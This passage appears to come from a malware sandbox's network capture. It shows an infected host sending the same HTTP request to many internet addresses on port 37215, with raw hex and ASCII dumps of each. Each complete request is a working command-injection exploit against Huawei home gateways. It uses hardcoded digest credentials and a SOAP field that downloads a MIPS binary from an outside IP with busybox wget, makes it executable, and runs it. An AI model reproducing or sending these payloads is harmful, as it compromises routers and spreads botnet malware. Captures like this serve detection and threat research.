/tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	60618	156.211.140.83	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.507632017 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	58330	197.240.30.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.508358955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	43224	156.103.216.158	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.509056091 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	49560	197.146.88.253	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.509844065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	37076	156.245.92.52	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.510425091 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	56274	41.179.65.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.511176109 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	40166	41.124.203.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.511831999 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	34816	156.214.52.148	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.512531996 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	45438	156.99.186.57	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.567099094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	52872	41.51.65.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.615089893 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	50306	156.0.208.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.637710094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 